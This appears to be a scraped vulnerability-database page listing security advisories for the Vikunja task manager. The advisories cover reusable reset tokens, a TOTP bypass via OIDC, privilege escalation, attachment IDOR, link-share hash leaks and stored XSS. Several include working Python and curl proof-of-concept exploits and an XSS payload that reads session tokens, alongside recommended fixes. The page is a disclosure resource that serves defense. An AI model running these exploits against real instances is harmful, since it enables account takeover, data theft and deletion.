Where
-Infinity
0
Severity
9.8
EPSS
0.04%
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary A critical business logic vulnerability exists in the password reset mechanism of vikunja/api that allows password reset tokens to be reused indefinitely. Due to a failure to invalidate tokens upon use and a critical logic bug in the token cleanup cron job, reset tokens remain valid forever.

This allows an attacker who intercepts a single reset token (via logs, browser history, or phishing) to perform a complete, persistent account takeover at any point in the future, bypassing standard authentication controls.

Technical Analysis The vulnerability stems from two distinct logic errors in the pkg/user/ package that confirm the tokens are never removed.

1. Logic Error in Password Reset (No Invalidation) In pkg/user/userpasswordreset.go, the ResetPassword function successfully updates the user's password but fails to delete the reset token used to authorize the request. Instead, it attempts to delete a TokenEmailConfirm token, leaving the TokenPasswordReset active.

Vulnerable Code: pkg/user/userpasswordreset.go (Lines 36-94) func ResetPassword(s xorm.Session, reset PasswordReset) (userID int64, err error) { // ... [Validation and User Lookup] ...

// Hash the password user.Password, err = HashPassword(reset.NewPassword) if err != nil { return }

// FLAW: Deletes 'TokenEmailConfirm' instead of the current 'TokenPasswordReset' err = removeTokens(s, user, TokenEmailConfirm) if err != nil { return }

// ... [Update User Status and Return] ... // The reset token is never removed and remains valid in the DB. } 2. Logic Error in Token Cleanup (Inverted Expiry) The background cron job intended to expire old tokens contains an inverted comparison operator. It deletes tokens newer than 24 hours instead of older ones.

Vulnerable Code: pkg/user/token.go (Lines 125-151) func RegisterTokenCleanupCron() { // ... err := cron.Schedule("0 ", func() { // ... // FLAW: "created > ?" selects tokens created AFTER 24 hours ago. // This deletes NEW valid tokens and keeps OLD expired tokens forever. deleted, err := s. Where("created > ? AND (kind = ? OR kind = ?)", time.Now().Add(time.Hour24-1), TokenPasswordReset, TokenAccountDeletion). Delete(&Token{}) // ... }) }

Impact Persistent Account Takeover: An attacker with a single valid token can reset the victim's password an unlimited number of times.

Bypass of Remediation: Even if the victim notices suspicious activity and changes their password, the attacker can use the same old token to reset it again immediately.

Infinite Attack Window: Because the cleanup cron is broken, the token effectively has a generic TTL of "forever," allowing exploitation months or years after the token was issued.

Remediation 1. Invalidate Token on Use Update ResetPassword to delete the specific reset token upon successful completion. // Recommended Fix err = removeTokens(s, user, TokenPasswordReset) // Correct TokenKind 2. Fix Cleanup Logic Update the SQL query in RegisterTokenCleanupCron to target tokens created before the cutoff time. // Recommended Fix Where("created < ? ...", time.Now().Add(time.Hour24-1), ...) // Use Less Than (<)

A fix is available at https://github.com/go-vikunja/vikunja/releases/tag/v2.1.0

1 / 2
Source: GitHub
First published (updated )
Severity
9.3
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Vikunja before 2.2.1 contains an authorization flaw where the LinkSharing.ReadAll endpoint exposes share hashes to users with read access, enabling permission escalation to admin-level shares. The GetTaskAttachment endpoint performs permission checks against user-supplied task IDs but fetches attachments by sequential ID without verifying ownership, allowing attackers to download and delete all file attachments across all projects instance-wide.

First published (updated )
Severity
9.3
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Vikunja versions >= 0.24.0 and <= 2.3.0 contain a broken object level authorization (BOLA) vulnerability in the task-collection endpoint (GET /api/v1/projects/{project}/views/{view}/tasks). The endpoint loads the requested project view from the URL path without verifying the caller is authorized for it. For a link-share token holder, the task scope is pinned to the share's own project, but the view is taken from the attacker-controlled path and never re-validated. As a result, a holder of any project share link can read any other tenant's kanban bucket records — bucket titles and the full createdby user object (username, name, id) — for every view in the instance. The same missing pre-authorization view load also creates a project/view-ID existence oracle (404 vs. non-404) usable by link shares and ordinary authenticated users. Task contents remain constrained to the share's own project and are not disclosed. Fixed in 2.4.0.

First published (updated )
Severity
9.1
EPSS
0.01%
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary The application allows users to set weak passwords (e.g., 1234, password) without enforcing minimum strength requirements. Additionally, active sessions remain valid after a user changes their password.

An attacker who compromises an account (via brute-force or credential stuffing) can maintain persistent access even after the victim resets their password.

Details

1. Weak passwords are accepted during registration and password change. 2. No minimum length or strength validation is enforced. 3. After changing the password, previously issued session tokens remain valid. 4. No forced logout occurs across active sessions.

Attack scenario:

Attacker guesses or obtains weak credentials. Logs in and obtains active session token. Victim changes password. Attacker continues accessing the account using the old session.

Steps to Reproduce

1. Register using a weak password (e.g., 12345678 ). 2. Log in and Password Change functionality. 3. Change account password with single character (e.g., 1 or a ) 4. Reuse the old session. 5. Observe that access is still granted.

Impact

- Persistent account takeover - Unauthorized access to sensitive data - Increased brute-force success probability - Elevated risk for administrative accounts

The combination of weak password controls and improper session invalidation significantly increases both exploitability and impact.

Recommendation Password Policy Improvements:

- Enforce strong password policies – Require passwords to be 8–16+ characters with a mix of uppercase, lowercase, numbers, and special characters. - Block common passwords – Use a blacklist of commonly used and breached passwords. - Use secure hashing – Store passwords using strong salted hashing algorithms like bcrypt or Argon2. - Enable account lockout – Limit failed login attempts to reduce brute-force risk. - Educate users – Promote strong password practices and phishing awareness.

Session Management Fix:

- Invalidate all active sessions upon password change - Revoke refresh tokens (if applicable) - Implement token/session versioning - Regenerate session IDs after credential updates - Log and notify users of password change events

Implementing both controls will significantly reduce the risk of persistent account compromise.

<img width="1918" height="907" alt="Weak Password Policy Combined with Persistent Sessions After Password Change POC" src="https://github.com/user-attachments/assets/f188b69b-0472-4d2c-aeda-c145384c99ef" />

A fixed version is available at https://github.com/go-vikunja/vikunja/releases/tag/v2.0.0.

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary

The OIDC callback handler issues a full JWT token without checking whether the matched user has TOTP two-factor authentication enabled. When a local user with TOTP enrolled is matched via the OIDC email fallback mechanism, the second factor is completely skipped.

Details

The OIDC callback at pkg/modules/auth/openid/openid.go:185 issues a JWT directly after user lookup:

go return auth.NewUserAuthTokenResponse(u, c, false)

There are zero references to TOTP in the entire pkg/modules/auth/openid/ directory. By contrast, the local login handler at pkg/routes/api/v1/login.go:79-102 correctly implements TOTP verification:

go totpEnabled, err := user2.TOTPEnabledForUser(s, user) if totpEnabled { if u.TOTPPasscode == "" { = s.Rollback() return user2.ErrInvalidTOTPPasscode{} } , err = user2.ValidateTOTPPasscode(s, &user2.TOTPPasscode{ User: user, Passcode: u.TOTPPasscode, })

When OIDC EmailFallback maps to a local user who has TOTP enabled, the TOTP enrollment is ignored and a full JWT is issued without any second-factor challenge.

Proof of Concept

Tested on Vikunja v2.2.2 with Dex as the OIDC provider.

Setup: - Vikunja configured with emailfallback: true for Dex - Local user alice (id=1) has TOTP enabled

python import requests, re, html from urllib.parse import parseqs, urlparse

TARGET = "http://localhost:3456" DEX = "http://localhost:5556" API = f"{TARGET}/api/v1"

verify TOTP is required for local login r = requests.post(f"{API}/login", json={"username": "alice", "password": "Alice1234!"}) print(f"Local login without TOTP: {r.statuscode} code={r.json().get('code')}") Output: 412 code=1017 (TOTP required)

login via OIDC (same flow as VIK-020 PoC) s = requests.Session() r = s.get(f"{DEX}/dex/auth?clientid=vikunja" f"&redirecturi={TARGET}/auth/openid/dex" f"&responsetype=code&scope=openid+profile+email&state=x") action = html.unescape(re.search(r'action="([^"])"', r.text).group(1)) if not action.startswith("http"): action = DEX + action r = s.post(action, data={"login": "alice@test.com", "password": "password"}, allowredirects=False) approvalurl = DEX + r.headers["Location"] r = s.get(approvalurl) req = re.search(r'name="req" value="([^"])"', r.text).group(1) r = s.post(approvalurl, data={"req": req, "approval": "approve"}, allowredirects=False) code = parseqs(urlparse(r.headers["Location"]).query)["code"][0]

resp = requests.post(f"{API}/auth/openid/dex/callback", json={"code": code, "redirecturl": f"{TARGET}/auth/openid/dex"}) print(f"OIDC login: {resp.statuscode}")

user = requests.get(f"{API}/user", headers={"Authorization": f"Bearer {resp.json()['token']}"}).json() print(f"User: id={user['id']} username={user['username']}") TOTP was completely bypassed

Output: Local login without TOTP: 412 code=1017 OIDC login: 200 User: id=1 username=alice

Local login correctly requires TOTP (412), but the OIDC path issued a JWT for alice without any TOTP challenge.

Impact

When an administrator enables OIDC with EmailFallback, any user who has enrolled TOTP two-factor authentication on their local account can have that protection completely bypassed. An attacker who can authenticate to the OIDC provider with a matching email address gains full access without any second-factor challenge. This undermines the security guarantee of TOTP enrollment.

This vulnerability is a prerequisite chain with the OIDC email fallback account takeover (missing emailverified check). Together, they allow an attacker to bypass both the password and the TOTP second factor.

Recommended Fix

Add a TOTP check in the OIDC callback before issuing the JWT:

go totpEnabled, err := user.TOTPEnabledForUser(s, u) if err != nil { = s.Rollback() return err } if totpEnabled { = s.Rollback() return echo.NewHTTPError(http.StatusForbidden, "TOTP verification required. Please use the local login endpoint.") } return auth.NewUserAuthTokenResponse(u, c, false)

--- Found and reported by aisafe.io

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Vikunja before 2.6.0 contains an authentication bypass vulnerability in CalDAV BasicAuth endpoints that lack rate limiting protection. Remote unauthenticated attackers can issue unbounded credential-guessing requests against /dav, /.well-known, and /feeds routes to bypass the instance's anti-brute-force controls and compromise password-only accounts.

First published (updated )
Severity
8.7
Infoleak
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Vikunja before 2.6.0 fails to properly restrict access to the link-share hash field in single-share read endpoints, allowing read-only members to obtain the share's secret credential. Attackers can exchange the disclosed hash for a link-share JWT at the share's permission level to escalate privileges and perform unauthorized writes or administrative actions.

First published (updated )
Severity
8.7
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Vikunja versions before 2.6.0 fail to apply rate limiting to /api/v2 public authentication endpoints including login, register, password-reset, and OAuth token routes. Remote unauthenticated attackers can perform unbounded credential guessing, account enumeration, and password-reset flooding attacks without throttling restrictions.

First published (updated )
Severity
8.6
EPSS
0.01%
XSS
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary The task preview component creates a unparented div. The div's innerHtml is set to the unescaped description of the task

Details In the TaskGlanceTooltip.vue it temporarily creates a div and sets the innerHtml to the description here. Since there is no escaping on either the server or client side, a malicious user can share a project, create a malicious task, and cause an XSS on hover.

PoC 1. Create a project 2. Create a task with any description 3. Use the api to update the task with a description containing unescaped HTML (ex: <img src=x onerror="alert(localStorage.getItem('token'))"> 4. Share the project with any permission level 5. Send malicious project to user and ask them to view task

Impact Any user on an instance can cause an XSS on another

1 / 2
Source: GitHub
First published (updated )
Severity
8.3
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L

Summary

A user with Write-level access to a project can escalate their permissions to Admin by moving the project under a project they own. After reparenting, the recursive permission CTE resolves ownership of the new parent as Admin on the moved project. The attacker can then delete the project, manage shares, and remove other users' access.

Details

The CanUpdate check at pkg/models/projectpermissions.go:139-148 only requires CanWrite on the new parent project when changing parentprojectid. However, Vikunja's permission model uses a recursive CTE that walks up the project hierarchy to compute permissions. Moving a project under a different parent changes the permission inheritance chain.

When a user has inherited Write access (from a parent project share) and reparents the child project under their own project tree, the CTE resolves their ownership of the new parent as Admin (permission level 2) on the moved project.

go if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID { newProject := &Project{ID: p.ParentProjectID} can, err := newProject.CanWrite(s, a) // Only checks Write, not Admin if err != nil { return false, err } if !can { return false, ErrGenericForbidden{} } }

Proof of Concept

Tested on Vikunja v2.2.2.

1. victim creates "Parent Project" (id=3) 2. victim creates "Secret Child" (id=4) under Parent Project 3. victim shares Parent Project with attacker at Write level (permission=1) -> attacker inherits Write on Secret Child (no direct share) 4. attacker creates own "Attacker Root" project (id=5) 5. attacker verifies: DELETE /api/v1/projects/4 -> 403 Forbidden 6. attacker sends: POST /api/v1/projects/4 {"title":"Secret Child","parentprojectid":5} -> 200 OK (reparenting succeeds, only requires Write) 7. attacker sends: DELETE /api/v1/projects/4 -> 200 OK -> Project deleted. victim gets 404.

python import requests TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1" def login(u, p): return requests.post(f"{API}/login", json={"username": u, "password": p}).json()["token"] def h(token): return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} victimtoken = login("victim", "Victim123!") attackertoken = login("attacker", "Attacker123!") victim creates parent -> child project hierarchy parent = requests.put(f"{API}/projects", headers=h(victimtoken), json={"title": "Parent Project"}).json() child = requests.put(f"{API}/projects", headers=h(victimtoken), json={"title": "Secret Child", "parentprojectid": parent["id"]}).json()

victim shares parent with attacker at Write (attacker inherits Write on child) requests.put(f"{API}/projects/{parent['id']}/users", headers=h(victimtoken), json={"username": "attacker", "permission": 1})

attacker creates own root project own = requests.put(f"{API}/projects", headers=h(attackertoken), json={"title": "Attacker Root"}).json()

before: attacker cannot delete child r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attackertoken)) print(f"DELETE before reparent: {r.statuscode}") # 403

exploit: reparent child under attacker's project r = requests.post(f"{API}/projects/{child['id']}", headers=h(attackertoken), json={"title": "Secret Child", "parentprojectid": own["id"]}) print(f"Reparent: {r.statuscode}") # 200

after: attacker can now delete child r = requests.delete(f"{API}/projects/{child['id']}", headers=h(attackertoken)) print(f"DELETE after reparent: {r.statuscode}") # 200 - escalated to Admin

victim lost access r = requests.get(f"{API}/projects/{child['id']}", headers=h(victimtoken)) print(f"Victim access: {r.statuscode}") # 404 - project gone

Output: DELETE before reparent: 403 Reparent: 200 DELETE after reparent: 200 Victim access: 404

The attacker escalated from inherited Write to Admin by reparenting, then deleted the victim's project.

Impact

Any user with Write permission on a shared project can escalate to full Admin by moving the project under their own project tree via a single API call. After escalation, the attacker can delete the project (destroying all tasks, attachments, and history), remove other users' access, and manage sharing settings. This affects any project where Write access has been shared with collaborators.

Recommended Fix

Require Admin permission instead of Write when changing parentprojectid:

go if p.ParentProjectID != 0 && p.ParentProjectID != ol.ParentProjectID { newProject := &Project{ID: p.ParentProjectID} can, err := newProject.IsAdmin(s, a) if err != nil { return false, err } if !can { return false, ErrGenericForbidden{} } canAdmin, err := p.IsAdmin(s, a) if err != nil { return false, err } if !canAdmin { return false, ErrGenericForbidden{} } }

--- Found and reported by aisafe.io

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
EPSS
0.03%
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Summary

A flaw in Vikunja’s password reset logic allows disabled users to regain access to their accounts. The ResetPassword() function sets the user’s status to StatusActive after a successful password reset without verifying whether the account was previously disabled. By requesting a reset token through /api/v1/user/password/token and completing the reset via /api/v1/user/password/reset, a disabled user can reactivate their account and bypass administrator-imposed account disablement.

Vulnerable Code Snippet

In pkg/user/userpasswordreset.go, beginning at line 66:

go // Hash the password user.Password, err = HashPassword(reset.NewPassword) if err != nil { return }

err = removeTokens(s, user, TokenPasswordReset) if err != nil { return }

user.Status = StatusActive // <--- VULNERABILITY: Unconditionally sets status to Active , err = s. Cols("password", "status"). Where("id = ?", user.ID). Update(user) if err != nil { return }

The code is vulnerable because it assumes that any user resetting their password is transitioning from a normal state or an "Email Confirmation Required" state into an "Active" state. It completely ignores whether the user was placed in the StatusDisabled state by an administrator. Additionally, in the token request function (RequestUserPasswordResetTokenByEmail), the system fetches the user via GetUserWithEmail() which does not filter out disabled users, allowing them to legally request the token in the first place.

PoC (Proof of Concept)

Manual Exploitation Steps

1. Create a standard user account in Vikunja. 2. As an Administrator (or by modifying the database directly), disable the user account by setting their status to Disabled (status = 2). 3. Attempt to log in as the disabled user to verify access is blocked (receives HTTP 412: This account is disabled). 4. Without authenticating, send a POST request to /api/v1/user/password/token with the disabled user's email address. 5. Retrieve the password reset token from the incoming email. 6. Send a POST request to /api/v1/user/password/reset with the token and a new password. 7. Log in using the new password. Observe that the login succeeds (HTTP 200) and the account has been maliciously reactivated.

Automation PoC

python import requests import psycopg2 import time import secrets

APIURL = "http://localhost:3456/api/v1"

def main(): username = f"testuser{secrets.tokenhex(4)}" email = f"{username}@example.com" password = "SuperSecretPassword123!" print("[1] Registering user...") requests.post(f"{APIURL}/register", json={"username": username, "email": email, "password": password}) print("[2] Admin disables account (Status = 2)...") conn = psycopg2.connect(host="localhost", database="vikunja", user="vikunja", password="vikunjapassword") cursor = conn.cursor() cursor.execute("UPDATE users SET status = 2 WHERE username = %s;", (username,)) conn.commit() print("[3] Verifying login is blocked...") res = requests.post(f"{APIURL}/login", json={"username": username, "password": password}) print(f"Login response: {res.statuscode} (Should be 412)") print("[4] Attacker requests password reset...") requests.post(f"{APIURL}/user/password/token", json={"email": email}) print("[5] Attacker grabs token from email/DB...") cursor.execute("SELECT id FROM users WHERE username = %s;", (username,)) userid = cursor.fetchone()[0] cursor.execute("SELECT token FROM usertokens WHERE userid = %s AND kind = 1 ORDER BY created DESC LIMIT 1;", (userid,)) token = cursor.fetchone()[0] print("[6] Attacker submits reset, triggering bug...") newpassword = "HackedPassword123!" requests.post(f"{APIURL}/user/password/reset", json={"token": token, "newpassword": newpassword}) print("[7] Attacker logs in successfully!") res = requests.post(f"{APIURL}/login", json={"username": username, "password": newpassword}) print(f"Final Login response: {res.statuscode} (Should be 200)")

cursor.execute("SELECT status FROM users WHERE username = %s;", (username,)) print(f"Final DB Status: {cursor.fetchone()[0]} (0 = Active)") conn.close()

if name == "main": main()

Impact

Authentication & Authorization Bypass: An attacker can unilaterally reverse an administrative security decision. Integrity & Confidentiality Impact: The attacker can regain full access to resources and functionality that were previously restricted due to the account being disabled.

1 / 2
Source: GitHub
First published (updated )
Severity
8.1
EPSS
0.03%
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Summary

TaskAttachment.ReadOne() queries attachments by ID only (WHERE id = ?), ignoring the task ID from the URL path. The permission check in CanRead() validates access to the task specified in the URL, but ReadOne() loads a different attachment that may belong to a task in another project. This allows any authenticated user to download or delete any attachment in the system by providing their own accessible task ID with a target attachment ID. Attachment IDs are sequential integers, making enumeration trivial.

Details

The vulnerability is in pkg/models/taskattachment.go in the ReadOne method:

go // pkg/models/taskattachment.go:110-120 func (ta TaskAttachment) ReadOne(s xorm.Session, web.Auth) (err error) { exists, err := s.Where("id = ?", ta.ID).Get(ta) // Only checks attachment ID, ignores TaskID if err != nil { return } if !exists { return ErrTaskAttachmentDoesNotExist{ TaskID: ta.TaskID, AttachmentID: ta.ID, } } // ... }

The permission check in pkg/models/taskattachmentpermissions.go validates access to the URL task, not the attachment's actual task:

go // pkg/models/taskattachmentpermissions.go:25-28 func (ta TaskAttachment) CanRead(s xorm.Session, a web.Auth) (bool, int, error) { t := &Task{ID: ta.TaskID} // ta.TaskID is from URL param :task return t.CanRead(s, a) }

The TaskAttachment struct binds URL parameters via struct tags (param:"task" and param:"attachment"): go // pkg/models/taskattachment.go:41-42 ID int64 xorm:"bigint autoincr not null unique pk" json:"id" param:"attachment" TaskID int64 xorm:"bigint not null" json:"taskid" param:"task"

Attack flow for read (GET): The custom handler at pkg/routes/api/v1/taskattachment.go:156 calls CanRead (checks URL task) then ReadOne (loads attachment by ID only).

Attack flow for delete (DELETE): The generic CRUD handler calls CanDelete (checks write on URL task) then Delete which calls ReadOne (loads any attachment by ID), then deletes it.

This is the same vulnerability pattern that was already fixed for task comments, where getTaskCommentSimple was patched to add AND taskid = ? validation:

go // pkg/models/taskcomments.go:196-205 (the fix) func getTaskCommentSimple(s xorm.Session, tc TaskComment) error { query := s.Where("id = ?", tc.ID).NoAutoCondition() if tc.TaskID != 0 { query = query.And("taskid = ?", tc.TaskID) } // ... }

PoC

Prerequisites: Two users (attacker and victim). Victim has a project with a task that has a file attachment. Attacker has read access to any task (e.g., their own project).

Step 1: Attacker creates their own project and task.

bash Attacker creates a project curl -s -X PUT 'http://localhost:3456/api/v1/projects' \ -H 'Authorization: Bearer <attackertoken>' \ -H 'Content-Type: application/json' \ -d '{"title":"attacker project"}' | jq '.id' Returns: 10

Attacker creates a task in their project curl -s -X PUT 'http://localhost:3456/api/v1/projects/10/tasks' \ -H 'Authorization: Bearer <attackertoken>' \ -H 'Content-Type: application/json' \ -d '{"title":"attacker task"}' | jq '.id' Returns: 50

Step 2: Victim uploads a confidential attachment to their task (in a different project the attacker has no access to).

bash curl -s -X PUT 'http://localhost:3456/api/v1/tasks/1/attachments' \ -H 'Authorization: Bearer <victimtoken>' \ -F 'files=@secret-document.pdf' Returns attachment with id: 5

Step 3: Attacker downloads the victim's attachment by referencing their own task ID but the victim's attachment ID.

bash Attacker accesses victim's attachment (id=5) via their own task (id=50) curl -s -X GET 'http://localhost:3456/api/v1/tasks/50/attachments/5' \ -H 'Authorization: Bearer <attackertoken>' \ -o stolen-file.pdf Returns: victim's secret-document.pdf

Step 4: Attacker can also delete the victim's attachment.

bash curl -s -X DELETE 'http://localhost:3456/api/v1/tasks/50/attachments/5' \ -H 'Authorization: Bearer <attackertoken>' Returns: 200 OK — victim's attachment is deleted

Since attachment IDs are sequential autoincrement integers, the attacker can enumerate all attachments in the system (1, 2, 3, ...).

Impact

- Confidentiality: Any authenticated user can download any file attachment in the entire system, regardless of project permissions. This includes confidential documents, images, and any files uploaded as task attachments. - Integrity: Any authenticated user with write access to any task can delete any attachment in the system, causing data loss for other users. - Enumeration: Sequential integer IDs make it trivial to iterate through all attachments without any prior knowledge of target attachment IDs. - Scope: Affects all Vikunja instances with task attachments enabled (the default).

Recommended Fix

Add taskid validation to ReadOne, mirroring the fix already applied to task comments:

go // pkg/models/taskattachment.go func (ta TaskAttachment) ReadOne(s xorm.Session, web.Auth) (err error) { query := s.Where("id = ?", ta.ID) if ta.TaskID != 0 { query = query.And("taskid = ?", ta.TaskID) } exists, err := query.Get(ta) if err != nil { return } if !exists { return ErrTaskAttachmentDoesNotExist{ TaskID: ta.TaskID, AttachmentID: ta.ID, } }

// ... rest unchanged }

1 / 2
Source: GitHub
First published (updated )
Severity
7.7
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Vikunja through 2.4.0 contains a principal-type confusion vulnerability where LinkSharing principals with id N are treated as user principals with users.id == N at three permission checks lacking type guards. Attackers with a link-share JWT can remove victims from teams, enumerate and delete victim bot users, or read team rosters by exploiting id collisions in the autoincrement space.

First published (updated )
Severity
7.5
EPSS
0.03%
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

The LinkSharing.ReadAll() method allows link share authenticated users to list all link shares for a project, including their secret hashes. While LinkSharing.CanRead() correctly blocks link share users from reading individual shares via ReadOne, the ReadAllWeb handler bypasses this check by never calling CanRead(). An attacker with a read-only link share can retrieve hashes for write or admin link shares on the same project and authenticate with them, escalating to full admin access.

Details

The vulnerability arises from an inconsistency between the ReadOneWeb and ReadAllWeb generic handlers and the LinkSharing permission model.

LinkSharing.CanRead() correctly blocks link share users (pkg/models/linksharingpermissions.go:25-29): go func (share LinkSharing) CanRead(s xorm.Session, a web.Auth) (bool, int, error) { if , is := a.(LinkSharing); is { return false, 0, nil // Blocks link share users } // ... }

ReadOneWeb calls CanRead() before returning data (pkg/web/handler/readone.go:64): go canRead, maxPermission, err := currentStruct.CanRead(s, currentAuth) if !canRead { return echo.NewHTTPError(http.StatusForbidden, ...) }

ReadAllWeb does NOT call CanRead() (pkg/web/handler/readall.go:106): go // Directly calls ReadAll without permission check result, resultCount, numberOfItems, err := currentStruct.ReadAll(s, currentAuth, search, pageNumber, perPageNumber)

LinkSharing.ReadAll() only checks project-level read access (pkg/models/linksharing.go:228-236): go func (share LinkSharing) ReadAll(s xorm.Session, a web.Auth, ...) (...) { project := &Project{ID: share.ProjectID} can, , err := project.CanRead(s, a) // Link share users pass this! if !can { return nil, 0, 0, ErrGenericForbidden{} } // Returns all shares with hashes...

Project.CanRead() allows link share users (pkg/models/projectpermissions.go:105-108): go shareAuth, ok := a.(LinkSharing) if ok { return p.ID == shareAuth.ProjectID && (shareAuth.Permission == PermissionRead || ...), ... }

The Hash field is exposed in JSON serialization (pkg/models/linksharing.go:50): go Hash string xorm:"varchar(40) not null unique" json:"hash" param:"hash"

While the Password field is cleared at line 276, the Hash — which is the secret token used to authenticate — is returned in full.

PoC

Prerequisites: A project with multiple link shares at different permission levels (common scenario: a read-only share for public access and a write/admin share for collaborators).

Step 1: Authenticate with a read-only link share bash Authenticate with a read-only link share hash curl -s -X POST http://localhost:3456/api/v1/shares/READONLYHASH/auth \ | jq '.token' Returns: JWT token with permission=0 (read)

Step 2: List all link shares for the project (hash disclosure) bash Use the read-only JWT to list ALL shares including their hashes curl -s -H "Authorization: Bearer <read-only-jwt>" \ http://localhost:3456/api/v1/projects/PROJECTID/shares \ | jq '.[].hash, .[].permission' Returns ALL shares with their hashes and permission levels: "READONLYHASH" permission: 0 "ADMINHASH" permission: 2 <-- leaked!

Step 3: Escalate to admin using the leaked hash bash Authenticate with the admin link share hash curl -s -X POST http://localhost:3456/api/v1/shares/ADMINHASH/auth \ | jq '.token' Returns: JWT token with permission=2 (admin)

Step 4: Exercise admin privileges bash Delete the project (admin-only operation) curl -s -X DELETE -H "Authorization: Bearer <admin-jwt>" \ http://localhost:3456/api/v1/projects/PROJECTID Success — full admin access achieved from a read-only share

Impact

- Permission escalation: An attacker with any link share URL (including read-only) can escalate to the highest permission level of any other link share on the same project - Credential disclosure: All link share hashes for a project are exposed, which are effectively bearer tokens - No account required: Link shares are designed for unauthenticated access — the attacker only needs a link share URL that was shared publicly or forwarded to them - Common scenario: Projects with both read-only (public) and write/admin (collaborator) link shares are the standard use case for tiered sharing - Password-protected shares: Even password-protected share hashes are leaked, though exploitation requires knowing/brute-forcing the password

Recommended Fix

Add a link share user check at the beginning of LinkSharing.ReadAll(), mirroring the check in CanRead():

go // In pkg/models/linksharing.go, at the start of ReadAll(): func (share LinkSharing) ReadAll(s xorm.Session, a web.Auth, search string, page int, perPage int) (result interface{}, resultCount int, totalItems int64, err error) { // Don't allow link share users to list link shares if , is := a.(LinkSharing); is { return nil, 0, 0, ErrGenericForbidden{} }

project := &Project{ID: share.ProjectID} // ... rest of method unchanged

Alternatively, as a defense-in-depth measure, exclude the Hash field from JSON serialization for list responses by using json:"-" and only returning it on creation. However, the primary fix should be the authorization check since the hash is needed in the creation response.

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

The TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. The account lock is written to the same database session that the login handler always rolls back on TOTP failure, so the lockout is triggered but never persisted. This allows unlimited brute-force attempts against TOTP codes.

Details

When a TOTP validation fails, the login handler at pkg/routes/api/v1/login.go:95-101 calls HandleFailedTOTPAuth and then unconditionally rolls back:

go if err != nil { if user2.IsErrInvalidTOTPPasscode(err) { user2.HandleFailedTOTPAuth(s, user) } = s.Rollback() return err }

HandleFailedTOTPAuth at pkg/user/totp.go:201-247 uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls user.SetStatus(s, StatusAccountLocked) on the same database session s. Because the login handler always rolls back after a TOTP failure, the StatusAccountLocked write is undone.

The in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time.

Proof of Concept

Tested on Vikunja v2.2.2. Requires pyotp (pip install pyotp).

python import requests, time, pyotp

TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1"

def h(token): return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"}

setup: login, enroll and enable TOTP token = requests.post(f"{API}/login", json={"username": "totpuser", "password": "TotpUser1!"}).json()["token"] secret = requests.post(f"{API}/user/settings/totp/enroll", headers=h(token)).json()["secret"] totp = pyotp.TOTP(secret) requests.post(f"{API}/user/settings/totp/enable", headers=h(token), json={"passcode": totp.now()})

send 9 failed attempts (rate limit is 10/min) for i in range(1, 10): r = requests.post(f"{API}/login", json={"username": "totpuser", "password": "TotpUser1!", "totppasscode": "000000"}) print(f"Attempt {i}: {r.statuscode} code={r.json().get('code')}")

wait for rate limit reset, send 3 more (past the 10-attempt lockout threshold) time.sleep(65) for i in range(10, 13): r = requests.post(f"{API}/login", json={"username": "totpuser", "password": "TotpUser1!", "totppasscode": "000000"}) print(f"Attempt {i}: {r.statuscode} code={r.json().get('code')}")

wait for rate limit, try with valid TOTP time.sleep(65) r = requests.post(f"{API}/login", json={"username": "totpuser", "password": "TotpUser1!", "totppasscode": totp.now()}) print(f"Valid TOTP login: {r.statuscode}") # 200 - account was never locked

Output: Attempt 1: 412 code=1017 ... Attempt 9: 412 code=1017 Attempt 10: 412 code=1017 Attempt 11: 412 code=1017 Attempt 12: 412 code=1017 Valid TOTP login: 200

The account was never locked despite exceeding the 10-attempt threshold. The per-IP rate limit of 10 requests/minute requires spacing attempts, but an attacker with multiple source IPs can parallelize.

Impact

An attacker who has obtained a user's password (via phishing, credential stuffing, or database breach) can bypass TOTP two-factor authentication by brute-forcing 6-digit codes. The intended account lockout after 10 failed attempts never takes effect. While per-IP rate limiting provides friction, a distributed attacker can exhaust the TOTP code space.

Recommended Fix

Have HandleFailedTOTPAuth create and commit its own independent database session for the lockout operation:

go // Use a new session so the lockout persists regardless of caller's rollback lockoutSession := db.NewSession() defer lockoutSession.Close() err = user.SetStatus(lockoutSession, StatusAccountLocked) if err != nil { = lockoutSession.Rollback() return } = lockoutSession.Commit()

--- Found and reported by aisafe.io

1 / 2
Source: GitHub
First published (updated )
Severity
7.4
EPSS
0.03%
SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L

Summary

